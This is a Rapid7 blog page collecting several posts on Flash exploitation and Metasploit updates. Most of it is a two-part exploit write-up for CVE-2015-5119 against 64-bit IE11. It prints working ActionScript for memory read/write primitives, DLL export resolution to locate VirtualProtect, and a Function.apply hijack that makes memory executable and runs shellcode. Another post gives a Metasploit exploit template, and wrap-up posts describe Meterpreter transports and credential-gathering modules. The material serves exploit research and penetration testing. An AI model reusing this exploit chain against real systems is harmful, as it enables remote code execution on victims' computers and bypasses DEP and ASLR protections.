Rapid7 Blog

Flash  

Exploiting a 64-bit browser with Flash CVE-2015-5119 (Part 2)

This post is a continuation of Exploiting a 64-bit browser with Flash CVE-2015-5119 , where we explained how to achieve arbitrary memory read/write on a 64-bit IE renderer. As a reminder, we are targeting Windows 8.1 / IE11 (64 bits) with Flash 15.0.0.…

This post is a continuation of Exploiting a 64-bit browser with Flash CVE-2015-5119 , where we explained how to achieve arbitrary memory read/write on a 64-bit IE renderer. As a reminder, we are targeting Windows 8.1 / IE11 (64 bits) with Flash 15.0.0.189. Of course, this write-up may contain a few errors, so your mileage may vary =) Where we left off before, we had created an interface to work with memory by using a corrupted Vector. and a ByteArray whose metadata is reachable from the vector. In order to make it easier to experiment with memory access using the mentioned objects, we extend the interface already introduced in the Part 1: private function set_ba_length(new_length:uint):void { uv[ba_pos + 2] = new_length uv[ba_pos + 3] = new_length } private function set_ba_array(ptr:Address64):void { uv[ba_pos] = ptr.lo uv[ba_pos + 1] = ptr.hi } private function restore_ba():void { set_ba_array(ba_orig_array) set_ba_length(0x3f8) } public function ba_read(addr:Address64):uint { set_ba_array(addr) ba.position = 0 return ba.readUnsignedInt() } public function ba_read_word(addr:Address64):uint { set_ba_array(addr) ba.position = 0 return ba.readUnsignedShort() } public function ba_write(addr:Address64, val:uint):void { set_ba_array(addr) ba.position = 0 ba.writeUnsignedInt(val) } public function ba_read_addr(addr:Address64):Address64 { var hi, lo:uint set_ba_array(addr) ba.position = 0 lo = ba.readUnsignedInt() hi = ba.readUnsignedInt() return new Address64(lo, hi) } public function ba_write_addr(addr:Address64, val:Address64):void { set_ba_array(addr) ba.position = 0 ba.writeUnsignedInt(val.lo) ba.writeUnsignedInt(val.hi) } public function read_string(addr:Address64, length:uint = 0):String { set_ba_array(addr) ba.position = 0 if (length == 0) return ba.readUTFBytes(MAX_STRING_LENGTH) else return ba.readUTFBytes(length) } We now have two goals, which we will detail more below: Leaking memory addresses, finding the objects necessary for exploitation and disclose any necessary addresses. Execute our payload, while accounting ASLR\DEP protections. Leaking Memory Addresses There is nothing new about leaking arbitrary object addresses. We are going to re-use the same technique as with the original 32bits flash_exploiter library. The trick is to use a Vector.<Object> reachable from the corrupted Vector.<uint>, storing the objects whose addresses we need to leak. The "spray" of ByteArray's and Vector.<Object> looks like this: private var defrag:Vector.<Object> = new Vector.<Object>(750) private var ov:Vector.<Object> = new Vector.<Object>(2048) for (var i:uint = 0; i < defrag.length; i++) { defrag[i] = new Vector.<uint>(250) } for (var i:uint = 0; i < ov.length; i++) { if (i % 2 == 0) { ov[i] = new ByteArray() ov[i].length = 0x3f8 ov[i].position = 0 ov[i].endian = "littleEndian" ov[i].writeUnsignedInt(0xdeedbeef) } else { ov[i] = new Vector.<Object>(0x3f6) ov[i][0] = this ov[i][1] = payload_space ov[i][2] = Magic } } The Vector.<Object> is then used to disclose three objects: this: used to leak a flash pointer. We could possibly use other object, but I'm just reusing old code. payload_space: a Vector., which we will use to store any fake objects required for exploitation, and the payload to execute. Magic: a Function object. We will use this to achieve clean code execution, without requiring a ROP chain. By leaking the "this" object, it is straightforward to leak its vtable, which is a Flash library pointer. We can use this to disclose where the Flash dll is loaded into memory. With the ability to navigate the import and export tables of loaded DLL's, we can then determine any method address. In our example, we are going to leak the kernel32#VirtualProtect address. In the meantime here an extract of the address-leaking code: this_addr = ba_read_addr(vector_object_addr.offset(8)) this_addr.lo = this_addr.lo - 1 Logger.log("[*] 'this' found at " + this_addr.toString()) /* Leak flash and VirtualProtect */ flash_ptr = ba_read_addr(this_addr) Logger.log("[*] Flash ptr to " + flash_ptr.toString()) var pe:PE64 = new PE64(this) var flash:Address64 = pe.base(flash_ptr) Logger.log("[*] Flash base " + flash.toString()) var winmm:Address64 = pe.module('winmm.dll', flash) Logger.log("[*] winmm base " + winmm.toString()) var kernel32:Address64 = pe.module('kernel32.dll', winmm) Logger.log("[*] kernel32 base " + kernel32.toString()) var virtualprotect:Address64 = pe.procedure("VirtualProtect", kernel32) Logger.log("[*] virtualprotect: " + virtualprotect.toString()) And the PE64 class used to navigate a loaded DLL: package { public class PE64 { private var eba:Exploiter64 public function PE64(ba:Exploiter64) { eba = ba } public function base(addr:Address64):Address64 { var partial:Address64 = new Address64(addr.lo & 0xffff0000, addr.hi) while (true) { if (eba.ba_read(partial) == 0x00905a4d) return partial partial = partial.offset(-0x1000) } throw new Error() } public function module(name:String, addr:Address64):Address64 { var i:uint = 0 var nt_hdr_offset:uint = eba.ba_read(addr.offset(0x3c)) var pe:Address64 = addr.offset(nt_hdr_offset) var iat_dir:Address64 = pe.offset(0x90) var iat:Address64 = new Address64(addr.lo + eba.ba_read(iat_dir), addr.hi) var iat_length:uint = eba.ba_read(iat_dir.offset(4)) var mod_name:String var iat_entry:Address64 var iat_name:Address64 var iat_fnc:Address64 while (i < iat_length) { iat_entry = iat.offset(i * 0x14) iat_name = new Address64(eba.ba_read(iat_entry.offset(0xc)) + addr.lo, addr.hi) iat_fnc = new Address64(eba.ba_read(iat_entry.offset(0x10)) + addr.lo, addr.hi) mod_name = eba.read_string(iat_name, name.length) if (mod_name.toUpperCase() == name.toUpperCase()) { return base(eba.ba_read_addr(iat_fnc)) } i = i + 1 } throw new Error('FAIL!') } public function procedure(name:String, addr:Address64):Address64 { var nt_hdr_offset:uint = eba.ba_read(addr.offset(0x3c)) var pe:Address64 = addr.offset(nt_hdr_offset) var eat_dir:Address64 = pe.offset(0x88) var eat:Address64 = new Address64(addr.lo + eba.ba_read(eat_dir), addr.hi) var eat_length:uint = eba.ba_read(eat_dir.offset(4)) var numberOfNames:uint = eba.ba_read(eat.offset(0x18)) var addressOfFunctions:Address64 = new Address64(eba.ba_read(eat.offset(0x1c)) + addr.lo, addr.hi) var addressOfNames:Address64 = new Address64(eba.ba_read(eat.offset(0x20)) + addr.lo, addr.hi) var addressOfNameOrdinals:Address64 = new Address64(eba.ba_read(eat.offset(0x24)) + addr.lo, addr.hi) var proc_name:String var entry:Address64 var i:uint = 0 while (i < numberOfNames) { entry = new Address64(addr.lo + eba.ba_read(addressOfNames.offset(i * 4)), addr.hi) proc_name = eba.read_string(entry, name.length) if (proc_name.toUpperCase() == name.toUpperCase()) { var function_offset:uint = eba.ba_read_word(addressOfNameOrdinals.offset(i * 2)) * 4 var address_of_function:Address64 = new Address64(addr.lo + eba.ba_read(addressOfFunctions.offset(function_offset)), addr.hi) return address_of_function } i = i + 1 } throw new Error('FAIL!') } } } Payload Execution Now we will describe how to achieve arbitrary code execution with a user-specified payload. In order to do this, we need executable and writable memory where we can write our shellcode and then execute it. To do this with DEP in place, we normally use a ROP chain. And in order to bypass ASLR, ideally we need the ability to generate the chain dynamically. This means searching for the required gadgets in memory. The CVE-2015-5119 exploit, by Vitaly Toropov, uses an interesting method to achieve clean code execution without a ROP chain. The idea is this: Use a Vector. data space to store the shellcode and leak the address where data is going to be stored. Call VirtualProtect() on the data space address to make the memory executable. So, how do we call VirtualProtect() without a chain? Vitaly's method consists on hijacking the Method.apply() call to execute arbitrary (native) methods with controlled arguments and return cleanly to the ActionScriopt code. Let's review to the native code of Method.apply(): /** * Function.prototype.apply() */ Atom FunctionObject::AS3_apply(Atom thisArg, Atom argArray) { thisArg = get_coerced_receiver(thisArg); // when argArray == undefined or null, same as not being there at all // see Function/e15_3_4_3_1.as if (!AvmCore::isNullOrUndefined(argArray)) { AvmCore* core = this->core(); // FIXME: why not declare argArray as Array in Function.as? if (!AvmCore::istype(argArray, ARRAY_TYPE)) toplevel()->throwTypeError(kApplyError); return core->exec->apply(get_callEnv(), thisArg, (ArrayObject*)AvmCore::atomToScriptObject(argArray)); // HIJACKED CALL } else { AvmAssert(get_callEnv() != NULL); return get_callEnv()->coerceEnter(thisArg); } } The trick consists in hijacking the core->exec->apply(get_callEnv(), thisArg, (ArrayObject*)AvmCore::atomToScriptObject(argArray)); call and its arguments. To understand the details, we need to review the assembly code behind this call: .text:00000001808C1455 loc_1808C1455: .text:00000001808C1455 mov rax, [rbx] .text:00000001808C1458 lea rdx, [rsp+58h+var_30] .text:00000001808C145D mov rcx, rbx .text:00000001808C1460 call qword ptr [rax+120h] ; getCallEnv() .text:00000001808C1466 mov rcx, [rsi+108h] .text:00000001808C146D and rdi, 0FFFFFFFFFFFFFFF8h .text:00000001808C1471 mov r10, [rcx] .text:00000001808C1474 mov rdx, [rax] .text:00000001808C1477 mov r9, rdi .text:00000001808C147A mov r8, rbp .text:00000001808C147D call qword ptr [r10+30h] ; core->exec->apply() As you have probably guessed, in order to hijack the core->exec->apply() call, there are several objects involved. First, we need to figure out how to reach the "core" (AvmCore) element. In the above assembly source, it is done with AvmCore* core = this->core();. The ScriptObject::core() called method looks like this: REALLY_INLINE AvmCore* ScriptObject::core() const { return vtable->traits->core; } The assembly code to access the "core" object from a FunctionObject will be inlined, and looks like this (the offsets are the important part to understand the hijack and the exploitation): 00000001808C140D mov rbx, rcx ; MethodObject 00000001808C141F mov rcx, [rbx+10h] ; vtable 00000001808C1428 mov rdx, [rcx+28h] ; traits 00000001808C142F mov rsi, [rdx+8] ; core From the "core" object, we then need to access the "exec" (ExecMgr) object, and finally the position of the "apply()" method on its vtable. The assembly code looks like this: 00000001808C1466 mov rcx, [rsi+108h] ; exec 00000001808C1471 mov r10, [rcx] ; exec vtable 00000001808C147D call qword ptr [r10+30h] ; apply() call Awesome! With this information we should be able to fake our own "exec" object, its vtable, and hijack the original "core" object! Now, let's review how to hijack the arguments. If you remember, we are trying to hijack the call with Kernel32!VirtualProtect. Let's examine the prototype for VirtualProtect: BOOL WINAPI VirtualProtect(   _In_  LPVOID lpAddress,   _In_  SIZE_T dwSize,   _In_  DWORD  flNewProtect,   _Out_ PDWORD lpflOldProtect ); There are 4 arguments to control, and given the 64-bit x86 calling convention, that means that there are 4 registers to control: lpAddress: ecx dwSize: edx flNewProtect: r8 lpflOldProtect: r9 Perfect! Let's revisit the assembly code that set up the registers and makes the core->exec->apply() call: BOOL WINAPI VirtualProtect( _In_ LPVOID lpAddress, _In_ SIZE_T dwSize, _In_ DWORD flNewProtect, _Out_ PDWORD lpflOldProtect ); rcx is the pointer to the "exec" object. By faking own object in memory, we should be able to hijack it. The payload should live in the same allocation where we are storing our fake object for the hijack. This is not a problem at all. Remember, we're using a Vector.'s space to store all this information, and we can make it as big as we need rdx comes from a dereference of the memory pointed by rax. Where does rax come from? It is the result of the "get_callEnv()" call, whose assembler is similar to the next snippet, where "rcx" points to the FunctionMethod Object: .text:00000001808C1466 mov rcx, [rsi+108h] .text:00000001808C146D and rdi, 0FFFFFFFFFFFFFFF8h .text:00000001808C1471 mov r10, [rcx] .text:00000001808C1474 mov rdx, [rax] .text:00000001808C1477 mov r9, rdi .text:00000001808C147A mov r8, rbp .text:00000001808C147D call qword ptr [r10+30h] ; core->exec->apply() By controlling the field (8 bytes) at the offset 0x38 of the MethodObject, we should be able to control the second argument. r8 comes from rbp, which stores the result of the "thisArg = get_coerced_receiver(thisArg);" call. The assembly code of get_coerced_receiver is similar to the next snippet, where "rcx" points to the FunctionMethod object: avm!avmplus::FunctionObject::get_callEnv [c:\avmplus-vs2010\core\functionclass.h @ 70]: 70 00007ff7`c8aad740 488b4138 mov rax,qword ptr [rcx+38h] 70 00007ff7`c8aad744 488902 mov qword ptr [rdx],rax 70 00007ff7`c8aad747 488bc2 mov rax,rdx 70 00007ff7`c8aad74a c3 ret By controlling the field (8 bytes) at the offset 0x40 of the MethodObject, we should be able to control the third argument. r9 comes from rdi, which stores the result of (<span>ArrayObject</span>*)<span>AvmCore</span>::<span>atomToScriptObject</span>(argArray). By calling Function.apply() with a valid array of args from AS, we should already have a pointer to r/w memory here, so there is nothing special to do to in order to provide a correct fourth argument. So far so good! We can use the code as follows to leak the required objects, create our fake "exec" and hijack the required fields, and call kernel32!VirtualProtect with controlled arguments, providing executable permissions to the memory where we'll store the payload later: payload_space_object = ba_read_addr(vector_object_addr.offset(16)) payload_space_object.lo = payload_space_object.lo - 1 Logger.log("[*] payload_space_object found at " + payload_space_object.toString()) payload_space_data = ba_read_addr(payload_space_object.offset(0x30)) payload_space_data.lo = payload_space_data.lo + 0x10 Logger.log("[*] payload_space_data found at " + payload_space_data.toString()) magic = ba_read_addr(vector_object_addr.offset(24)) magic.lo = magic.lo - 1 Logger.log("[*] magic found at " + magic.toString()) vtable = ba_read_addr(magic.offset(0x10)) Logger.log("[*] vtable found at " + vtable.toString()) traits = ba_read_addr(vtable.offset(0x28)) Logger.log("[*] traits found at " + traits.toString()) core = ba_read_addr(traits.offset(0x8)) Logger.log("[*] core found at " + core.toString()) exec = ba_read_addr(core.offset(0x108)) Logger.log("[*] exec found at " + exec.toString()) exec_vtable = ba_read_addr(exec) Logger.log("[*] exec_vtable found at " + exec_vtable.toString()) // Copy the exec object to payload_space /* 8 bytes before the exec objec to survive the next call: * .text:0000000180896903 mov rax, [r9+108h] * .text:000000018089690A test rax, rax * .text:000000018089690D jz short loc_180 * .text:000000018089690F lea rcx, [rax-8] * .text:0000000180896913 jmp short loc_180896917 * .text:0000000180896917 loc_180896917: * .text:0000000180896917 mov r9, [rbx+18h] * .text:000000018089691B mov rax, [rcx] ; rcx => it's magic it shouldn't be corrupted so why???? * .text:000000018089691E mov r8, [r9+8] * .text:0000000180896922 mov r9, [r9+10h] * .text:0000000180896926 mov r8, [r8+8] * .text:000000018089692A call qword ptr [rax+10h] */ for (var j:int = -2; j < 0x140; j++) { payload_space[j + 2] = ba_read(exec.offset(j * 4)) } // Copy the exec_vtable to payload_space for (i = 0x142; i < 0x142 + (228 / 4); i++) { payload_space[i] = ba_read(exec_vtable.offset((i - 0x142) * 4)) } // Tweak fake "apply()" vtable entry ba_write_addr(payload_space_data.offset(0x508 + 0x30), virtualprotect) // Link fake exec to fake exec vtable ba_write_addr(payload_space_data.offset(8), payload_space_data.offset(0x508)) // Install our fake "exec" object ba_write_addr(core.offset(0x108), payload_space_data.offset(8)) // Install our fake "arg1" var arg1:Address64 = ba_read_addr(magic.offset(0x38)) ba_write_addr(magic.offset(0x38), new Address64(payload_space.length * 4, 0)) // Install our fake "arg2" var arg2:Address64 = ba_read_addr(magic.offset(0x40)) ba_write_addr(magic.offset(0x40), new Address64(0x40, 0)) // Arg0 var args:Array = new Array(4) // Should be good enough to control arg0 Logger.log('[*] Execte VirtualProtect') Magic.apply(null, args) Since we have the ability to return back to the AS3 code, we can now store our shellcode in the Vector. whose data has been done executable, and provide control by using the Function.apply() hijack again. In this case our shellcodes are just software breakpoint opcodes: ba_write_addr(magic.offset(0x38), arg1) ba_write_addr(magic.offset(0x40), arg2) ba_write_addr(core.offset(0x108), exec) Logger.log("Looks good:\n" + " 'this' addr: " + this_addr.toString() + "\n" + " payload_space_object addr: " + payload_space_object.toString() + "\n" + " payload_space_data addr: " + payload_space_data.toString() + "\n" + " magic addr: " + magic.toString() + "\n") for (i = 0; i < 504; i++) { payload_space[i] = 0 } for (i = 0; i < 228 / 4; i++) { payload_space[i] = ba_read(exec_vtable.offset(i * 4)) } payload_space[500] = 0xcccccccc ba_write_addr(payload_space_data.offset(0x30), payload_space_data.offset(500 * 4)) ba_write_addr(exec, payload_space_data) Logger.log('Execute dummy payload') Magic.apply(null, args) Running Flash under a debugging target allows us to intercept where our "shellcode" is executed: (960.15e4): Break instruction exception - code 80000003 (first chance) 00007ff7`5aa6a7e0 cc int 3 0:023> r rax=000000ef544daaf8 rbx=00007ff75bc1c0e0 rcx=00007ff75b9540d8 rdx=00007ff75be31d58 rsi=00007ff75b93b000 rdi=00007ff75be94650 rip=00007ff75aa6a7e0 rsp=000000ef544daac8 rbp=00007ff75bc132c1 r8=00007ff75bc132c1 r9=00007ff75be94650 r10=00007ff75aa6a010 r11=00007ffc6eda2848 r12=000000ef544dafc8 r13=00007ff75b93b000 r14=00007ff75be31f38 r15=0000000000000018 iopl=0 nv up ei pl nz na po nc cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000204 00007ff7`5aa6a7e0 cc int 3 0:023> !address rip Usage: <unknown> Base Address: 00007ff7`5aa6a000 End Address: 00007ff7`5aa84000 Region Size: 00000000`0001a000 State: 00001000 MEM_COMMIT Protect: 00000040 PAGE_EXECUTE_READWRITE Type: 00020000 MEM_PRIVATE Allocation Base: 00007ff7`5a770000 Allocation Protect: 00000001 PAGE_NOACCESS The Function.apply() hijack method is a nice way to prepare the memory, install the shellcode and execute it. It is also cleaner than a rop chain, at least if the MethodObject layout is stable over Flash versions! You can find the updated code for this exercise on the same repository introduced in Part 1: jvazquez-r7/CVE-2015-5119 · GitHub. We have a pending update to the metasploit module supporting 64-bit targets, but there is some "magic" to finish and now is time for DEFCON! By the way, feel free to reach out if you plan to be around DEFCON, as I would like to discuss software security-related topics (or others!) =) In the meanwhile, feel free to grab the code from the github repository to play around with it. Feedback is of course welcome and appreciated

Exploiting a 64-bit browser with Flash CVE-2015-5119

Some weeks ago, on More Flash Exploits in the Framework, we introduced the flash_exploiter library, which is used by Metasploit to quickly add new Flash exploit modules. If you read that blog entry, then you already know that flash_exploiter only supports 32-bit browsers…

Some weeks ago, on More Flash Exploits in the Framework, we introduced the flash_exploiter library, which is used by Metasploit to quickly add new Flash exploit modules. If you read that blog entry, then you already know that flash_exploiter only supports 32-bit browsers (renderers). In this blog post, we will demonstrate initial steps in adding IE11 64-bit support to CVE-2015-5119 , which is one of the leaked Hacking Team vulnerabilities. Specifically, this post will target Windows 8.1 / IE 11 (64 bits) with Flash 15.0.0.189, so of course, the mitigations introduced by Flash 18.0.0.209 do not apply here. The flash_exploiter library abuses two AS3 classes in order to achieve exploitation: Vector. and ByteArray. Let's start by reviewing what can be done with these two objects in a 64-bit environment. Vector. Vectors, specifically Vector.<uint>, have been widely abused on Flash exploits. This is because of how Vectors save their data, which is a ListData struct. It looks like this: template<class STORAGE, uint32_t slop> struct ListData { uint32_t len; // Invariant: Must *never* exceed kListMaxLength MMgc::GC* _gc; STORAGE entries[1]; // Lying: Really holds capacity() As we have long known, overwriting the "len" field allows an exploiter to achieve full memory read/write in a 32-bit process. However, this is not true with a 64-bit process. Since the length will still be 32-bit, only 4GB of memory after the Vector's data can be read and or written. Still, 4GB is still a lot of data to play with! ByteArray In order to achieve arbitrary memory read/write, a ByteArray can be really helpful within a 64-bit process. First, we need to review the layout of the ByteArray class: class ByteArray : public DataInput, public DataOutput { public: friend class ByteArrayTask; friend class ByteArrayObject; friend class ByteArraySetLengthTask; friend class ByteArraySwapBufferTask; friend class ByteArrayCompareAndSwapLengthTask; friend class ByteArrayClearTask; class Buffer : public FixedHeapRCObject { public: virtual void destroy(); virtual ~Buffer(); uint8_t* array; uint32_t capacity; uint32_t length; }; The interesting fields for exploitation are "array", "capacity" and "length". The "array" field points to the data buffer, the "capacity" stores the total space available in the data buffer, and the "length" field stores the used length. Note that length should be always less or equal than capacity. To achieve arbitrary memory read/write in a 64-bit process, the goal is to "massage" the memory in a way which a ByteArray object "metadata" is stored near (within 4GB after) a vector whose length is being corrupted. We can then use the corrupted vector to find the ByteArray object and modify its "array" to point to an arbitrary location. Once overwritten, we can read or write the "capacity" bytes from the "array" pointer. Assuming we have: a Vector.<uint> ("uv") with a corrupted length, a ByteArray ("ba") whose object is reachable from "uv", and the offset ("ba_pos") necessary to modify the ByteArray metadata from "uv" The following AS3 code can be used to accomplish arbitrary memory read/write: private var uv:Vector.<uint> private var ba_pos:uint private var ba:ByteArray private function set_ba_array(ptr_lo:uint, ptr_hi:uint):void { uv[ba_pos] = ptr_lo uv[ba_pos + 1] = ptr_hi } private function ba_read(addr_lo:uint, addr_hi:uint):uint { set_ba_array(addr_lo, addr_hi) ba.position = 0 return ba.readUnsignedInt() } private function ba_write(addr_lo:uint, addr_hi:uint, val:uint):void { set_ba_array(addr_lo, addr_hi) ba.position = 0 ba.writeUnsignedInt(val) } So far so good! With this strategy, we can start to exploit IE Metro, using the corrupted "uv" and "ba" to leak memory addresses: That's it for this first step in exploiting 64-bit browsers with Flash CVE-2015-5119. If you are interested in following the continuing progress of 64-bit Flash, please follow the github repository jvazquez-r7/CVE-2015-5119 · GitHub It will be updated with next steps!

Weekly Metasploit Wrapup: Meterpretersauce

When You Wish Upon A Shell Back in February we ran a survey to figure out where you, the savvy penetration tester, would like to see Meterpreter go. As a result, we now have the Meterpreter Wishlist, and have been working steadily off of that…

When You Wish Upon A Shell Back in February we ran a survey to figure out where you, the savvy penetration tester, would like to see Meterpreter go. As a result, we now have the Meterpreter Wishlist, and have been working steadily off of that for the last few months. As of this week, we have a pile of accomplishments taken off the wishlist and committed as working code. You can read up on all the details over on the Meterpreter sub-wiki, but in the meantime, here are the headlines at a glance: Lifetime Session Tracking: With the introduction of Payload UUIDs, you now have the ability to track over time whence a particular Meterpreter shell came from. This can be important when your compromised target moves around different networks, and reconnects back from different source addresses. It's also handy when you're on a team of pentesters, and you want to figure out whose shell is whose. Multiple Transports and Fallbacks: If at first you don't SYN-ACK, SYN, SYN again. Meterpreter payloads now have some advanced transport control for falling back to other transports if the preferred one doesn't work or suddenly goes offline. While this used to be irritating, requiring a re-exploit of the target (which can be dicey with client-side exploits), Meterpreter sessions can now effectively ressurect themselves with some alternative routing. Also, these transports need not change just because of an interruption. If you have a friend with an appropriately configured payload listener, you can now easily just hand off your session to your friend's IP address and port. Nothing says "I love you," quite like a fresh shell. Certificate Pinning: Combine a static certificate, a Payload UUID, and an appropriate reverse HTTPS payload, and you've got Meterpreter: Paranoid Mode. When used routinely, this strategy can prevent someone else from kidnapping your abandoned shells, or otherwise impersonating you, the valiant and just red-teamer. There's also about a bazillion other small to medium improvements in there, so I encourage you to check out the current state of affairs over at the new(ish) metasploit-payloads repository. We're in the middle of phasing out the old(ish) meterpreter repository, so should make cross-compiling and cross-development of Meterpreter a lot easier moving forward. If you haven't already, feel free to clone the new repo and get hacking. New Modules On the heels of Juan's excellent overview of our current Flash exploit library, we've got another addition to the pile of Flash exploits. This one is for CVE-2015-3113 and CVE-2015-3043, since, as it turns out, CVE-2015-3113 has the same root cause as the earlier issue. Oops. We also have two new post modules that make snarfing some local data on Windows domain members easier -- combine these with the new hash dumping techniques discussed by Dave TheLightCosine earlier this week, and you've got yourself a stew! Exploit modules Adobe Flash Player Nellymoser Audio Decoding Buffer Overflow by juan vazquez and Unknown exploits CVE-2015-3113 Auxiliary and post modules Windows Gather Credentials Local Administrator Password Solution by Ben Campbell Windows Gather Active Directory BitLocker Recovery by Ben Campbell As always, for a blow-by-blow on what's new since the last blog post, just see this comparison view.

More Flash Exploits in the Framework

As todb pointed out in the last weekly metasploit update wrapup we recently added two new exploits for Flash: CVE-2015-3090 and CVE-2015-3105, based on the samples found in the wild. As you're probably aware, the last years, and especially the end of 2014 and 2015,…

As todb pointed out in the last weekly metasploit update wrapup we recently added two new exploits for Flash: CVE-2015-3090 and CVE-2015-3105, based on the samples found in the wild. As you're probably aware, the last years, and especially the end of 2014 and 2015, Flash has become the trending target for browser exploits in the wild. Here is a summary of Flash vulnerabilities abused by different Exploit Kits. It is based on the contagiodump overview and the Malware Dont Need Coffe blog data. It also shows the vulnerabilities actually supported in Metasploit, and the targets for every exploit. It's just a summary, maybe the vulnerability set is not complete! I'm not a malware researcher after all! Vulnerability Metasploit Targets **CVE-2013-0634** Adobe Flash ActiveX IE 32 bits on Windows XP SP3 and Windows 7 SP1 **CVE-2013-5329** **CVE-2014-0497** Adobe Flash ActiveXIE 32 bits on Windows XP SP3, Windows 7 SP1 and Windows 8 **CVE-2014-0502** **CVE-2014-0515** Adobe Flash ActiveXIE 32 bits on Windows 7 SP1 Adobe Flash PluginFirefox 32 bits on Windows 7 SP1, Windows 8.1 and Linux **CVE-2014-0556** Adobe Flash ActiveXIE 32 bits on Windows 7 SP1 Adobe Flash PluginFirefox 32 bits on Windows 7 SP1, Windows 8.1 and Linux **CVE-2014-0569** Adobe Flash ActiveXIE 32 bits on Windows 7 SP1 Adobe Flash PluginFirefox 32 bits on Windows 7 SP1 and Windows 8.1 **CVE-2014-8439** **CVE-2014-8440** Adobe Flash ActiveXIE 32 bits on Windows 7 SP1 Adobe Flash PluginFirefox 32 bits on Windows 7 SP1 and Windows 8.1 **CVE-2015-0310** **CVE-2015-0311** Adobe Flash ActiveXIE 32 bits on Windows 7 SP1 Adobe Flash PluginFirefox 32 bits on Windows 7 SP1, Windows 8.1 and Linux **CVE-2015-0313** Adobe Flash ActiveXIE 32 bits on Windows 7 SP1 Adobe Flash PluginFirefox 32 bits on Windows 7 SP1 and Windows 8.1 **CVE-2015-0336** Adobe Flash ActiveXIE 32 bits on Windows 7 SP1 Adobe Flash PluginFirefox 32 bits on Windows 7 SP1, Windows 8.1 and Linux **CVE-2015-0359** Adobe Flash ActiveX / IE 32 bits on Windows 7 SP1 Adobe Flash Plugin / Firefox 32 bits on Windows 7 SP1 and Windows 8.1 **CVE-2015-3043** **CVE-2015-3090** Adobe Flash ActiveXIE 32 bits on Windows 7 SP1 Adobe Flash PluginFirefox 32 bits on Windows 7 SP1, Windows 8.1 and Linux **CVE-2015-3104** **CVE-2015-3105** Adobe Flash ActiveXIE 32 bits on Windows 7 SP1 Adobe Flash PluginFirefox 32 bits on Windows 7 SP1, Windows 8.1 and Linux **CVE-2015-3113** As you can read, we are doing our best to keep the Framework up to date with Flash vulnerabilities exploited in the wild, so hopefully people can simulate/test them from a confident source. Because of the amount of Flash exploits, we've added a kind of Flash exploitation library to make easier the task of adding them to the framework. We'd like to share 5 cents about how to use this code. Let me start by refreshing our memory... Since 2013 Oct 2012 (thanks Haifei Lei) a common technique to exploit Flash vulnerabilities has been to abuse the AS3 Vectors, for both spraying and to achieve full memory read/write. It is facilitated by the Flash allocator and the own Vector object layout, whose length lives together with its data. The abuse of these objects has been well explained in the past. The first (and excellent) explanation which I can remind is the one provided by Haifei Li in his article Smashing the Heap with Vector: Advanced Exploitation Technique in Recent Flash Zero-day Attack. And it is precisely the technique used by the exploits in the Framework. Since I don't think I can explain it better than Haifei Li I recommend you to check the above link before going ahead, in case you're not familiar with the topic. That said, back to the Metasploit Framework, let me start by helping you to locate the source code for the Flash exploitation library in the code base. It can be found on the data directory, at data/external/source/flash_exploiter path. Actually it supports exploitation for Adobe Flash (32 bits), ActiveX and plugin versions, for both Windows and Linux platforms. (Remark: we're not testing Flash coming with Google Chrome and IE since Windows 8, so the exploits available on MSF don't cover these targets actually). Last but not least, worths to say this code uses some ideas from @hdarwin89, whose flash exploits can be found on its own repository. So, summarizing, the goal is which new Flash exploits just need to provide an "Exploit" class. An Exploit object must be able to corrupt a Vector.<uint>'s length with the value 0x3fffffff or longer. Once this condition has been achieved the Exploit just needs to create a new "Exploiter" instance and allow the magic to happen. Here is an "Exploit" template: package { import flash.display.Sprite import flash.display.LoaderInfo import mx.utils.Base64Decoder import flash.utils.ByteArray public class Exploit extends Sprite { private var uv:Vector.<uint> private var b64:Base64Decoder = new Base64Decoder() private var payload:ByteArray private var platform:String private var os:String private var exploiter:Exploiter public function Exploit() { platform = LoaderInfo(this.root.loaderInfo).parameters.pl os = LoaderInfo(this.root.loaderInfo).parameters.os var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh var pattern:RegExp = / /g; b64_payload = b64_payload.replace(pattern, "+") b64.decode(b64_payload) payload = b64.toByteArray() /* The exploit code here. The goal is to corrupt the uv vector length with 0x3fffffff or bigger. */ exploiter = new Exploiter(this, platform, os, payload, uv, 0x13e) } } } A couple of things to take into account. First of all, notice which the Exploit template get the platform and the operating system (as the shellcode) from FlashVars. It is because BrowserExploitServer provides this information from a prior stage, and we're using it, but you could get it by writing your own AS code on the exploit, of course. The second important thing is the Exploiter constructor documentation, because it's the last call which the Exploit should do: /* Creates an Exploiter instance and runs the exploitation magic * exp: Exploit object instance, its toString() vtable entry will be overwritten to achieve EIP. * pl: target platform, "linux" and "win" supported * os: target operating system for "win" platforms, "Windows 8.1" and "Windows 7" supported * p: ByteArray with the payload to execute * uv: Vector.<uint> whose length is overwritten with 0x3ffffffff or longer * uv_length: original uv's length, so the Exploiter can (hopefully) restore everything after exploitation. */ public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector.<uint>, uv_length:uint):void Most of the Flash exploits in the framework have been written or migrated to use the Exploiter code, but be careful, because we keep updating the Exploiter code, and not all of them use the last version of the code! The Flash modules actually using the flash_exploiter code are: CVE-2014-0515, CVE-2014-0556, CVE-2014-0569, CVE-2014-8440, CVE-2015-0311, CVE-2015-0313, CVE-2015-0336, CVE-2015-0359, CVE-2015-3090 and CVE-2015-3105. And that's all for today! Stay tuned for more Flash exploits and the new Browser Autopwn being developed by sinn3r. We find the combination of these a powerful way to simulate targeted campaigns on your next pentest!

Weekly Metasploit Wrapup: Two More Flash Exploits

Flash as a Vulnerability Vector While Adobe has made great progress in releasing both regular and emergency updates to Flash, it's becoming clear that Flash itself is becoming an albatross around the neck of every browser. This week, Adobe released APSB15-14, a fix for CVE-2015-3133.…

Flash as a Vulnerability Vector While Adobe has made great progress in releasing both regular and emergency updates to Flash, it's becoming clear that Flash itself is becoming an albatross around the neck of every browser. This week, Adobe released APSB15-14, a fix for CVE-2015-3133. This cross-browser vulnerability was discovered and reported by FireEye, and like all the recent critical Flash vulnerabilities, it can enable an adversary to completely compromise a targeted desktop. Meanwhile, we're shipping two new Flash Metasploit modules written by our own Juan Vazquez: One for CVE-2015-3105, disclosed earlier this month, and CVE-2015-3090, disclosed in May of 2015. I expect we'll be seeing a public exploit for penetration testers for CVE-2015-3113 soon. This all leads me to believe that the risk introduced by Flash is too big to pretend to ignore. It's enabled by default with pretty much every consumer browser, and very few normal users are aware that it's even possible to disable it. Enterprise IT organizations are also unlikely to disable Flash on a site-wide basis precisely because it's so ubiquitous, and there is a fear 